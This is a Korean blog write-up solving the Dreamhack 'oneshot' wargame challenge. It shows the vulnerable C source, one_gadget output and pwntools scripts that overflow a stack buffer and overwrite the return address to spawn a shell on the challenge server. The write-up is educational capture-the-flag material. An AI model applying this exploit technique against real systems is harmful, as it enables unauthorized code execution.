[드림핵] oneshot
A A

문제: https://dreamhack.io/wargame/challenges/34

 

oneshot

Description 이 문제는 작동하고 있는 서비스(oneshot)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일의 내용을 워게임 사이트에

dreamhack.io

 

원가젯 신나게 써보기!!

 

 

📍 보호기법

 

64비트, Partial RELRO, 카나리 없고, NX랑 PIE는 걸려 있다.

 

📍 소스코드

// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

 

16바이트 크기의 `msg`에 46바이트만큼 쓸 수 있으므로 40바이트만큼의 overwrite가 가능하다.

이때 `check`이 양수면 exit해 버리므로 신경써야 한다.

참고로 64비트이므로 `size_t`인 `check`는 8바이트 크기이다.

 

fho 문제에서 풀었던 것처럼 `main`의 리턴주소를 원가젯 주소로 덮으면 되겠다.

 

변수들의 스택 위치는 다음과 같다.

 

`msg` => `[rbp-0x20]`

`check` => `[rbp-0x8]`

 

 

📍 익스플로잇

🫧 libc base 찾기

문제에서 `stdout`의 주소를 주고 있다.

이 주소를 받은 다음, `stdout`의 offset을 빼서 libc base를 구할 수 있을 것 같다. (스포: 아래처럼 하면 안됨)

stdout_leak = int(p.recvline()[:-1], 16)
stdout_offset = libc.symbols['stdout']
libc_base = stdout_leak - stdout_offset

 

🫧 원가젯 찾기

$ one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

 

풍년이다🤩

만만해 보이는 `0x4526a`로 일단 정하고 익스플로잇 코드를 작성해 보자.

one_gadget = libc_base + 0x4526a

 

 

🫧 최종 스크립트(스포: 실패함)

from pwn import *

p = remote("host8.dreamhack.games", 8306)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')

p.recvuntil("stdout: ")

stdout_leak = int(p.recvline()[:-1], 16)
stdout_offset = libc.symbols['stdout']
libc_base = stdout_leak - stdout_offset
one_gadget = libc_base + 0x4526a

payload = b'A'*(0x20-0x8)
payload += b'\x00'*0x8
payload += b'B'*0x8
payload += p64(one_gadget)

p.recvuntil("MSG: ")
p.sendline(payload)

p.interactive()

 

음...

 

원가젯 실행에서 막힌 것 같다.

`0x4526a`의 원가젯의 constraints는 `[rsp+0x30]`이 NULL이어야 한다는 거였다.

문제는 내가 `msg`에 쓸 수 있는 건 46바이트인데, `msg`는 `[rbp-0x20]` 즉 베이스 포인터로부터 32바이트 떨어진 곳에 위치하고 있는 16바이트 크기의 배열이다. saved rbp 직전까지 덮으면 남는 건 14바이트밖에 없다. 즉 0x30=48바이트를 덮을 수가 없다...

 

자동으로 그 뒤의 원가젯들도 사용이 막혔고, 첫 번째 원가젯을 써야 하므로 `rax == NULL`이라는 조건을 맞춰야 한다.

 

그리고 틀린 게 한 개가 아닌데 ㅋㅋ 그냥 `stdout`은 전역변수다.

전역 포인터 변수가 가리키고 있는 곳의 주소를 leak해야 답이 맞는다.

파일 입출력 스트림이 열릴 때마다 `FILE` 구조체 인스턴스가 생기는데, 이곳의 주소를 찾아야 한다.

 

$ objdump -D libc.so.6 | grep stdout
   50060:       48 8b 05 e9 3e 37 00    mov    0x373ee9(%rip),%rax        # 3c3f50 <stdout@@GLIBC_2.2.5-0x17b8>
   5588a:       48 8b 05 bf e6 36 00    mov    0x36e6bf(%rip),%rax        # 3c3f50 <stdout@@GLIBC_2.2.5-0x17b8>
   6d349:       48 3b 1d b8 83 35 00    cmp    0x3583b8(%rip),%rbx        # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
   6f69c:       48 8b 2d 65 60 35 00    mov    0x356065(%rip),%rbp        # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
   6f705:       48 8b 3d fc 5f 35 00    mov    0x355ffc(%rip),%rdi        # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
   6f73d:       48 8b 3d c4 5f 35 00    mov    0x355fc4(%rip),%rdi        # 3c570
   ...

 

`objdump -D` 옵션으로 전부 디스어셈블해서 보면, `_IO_2_1_stdout_`이라는 이름이 보인다.

근데 그냥 `nm -D` 옵션으로 바로 찾을 수 있다고 한다. 참고!

$ nm -D libc.so.6 | grep stdout
00000000003c5620 D _IO_2_1_stdout_@@GLIBC_2.2.5
00000000003c5708 D stdout@@GLIBC_2.2.5

 

 

🫧 진짜 최종 스크립트

from pwn import *

p = remote("host8.dreamhack.games", 8306)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')

p.recvuntil("stdout: ")

stdout_leak = int(p.recvline()[:-1], 16)
stdout_offset = libc.symbols["_IO_2_1_stdout_"]
libc_base = stdout_leak - stdout_offset
one_gadget = libc_base + 0x45216

payload = b'A'*(0x20-0x8)
payload += b'\x00'*0x8
payload += b'B'*0x8
payload += p64(one_gadget)

p.recvuntil("MSG: ")
p.sendline(payload)

p.interactive()

 

 

 

🚩

'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글

pwnable 문제풀이  (0) 2025.04.09
[드림핵] hook  (0) 2025.04.09
[드림핵] fho  (0) 2025.03.30
[드림핵] basic_rop_x64  (0) 2025.03.30
[드림핵] struct person_t  (1) 2025.03.29
Copyright 2024. GRAVITY all rights reserved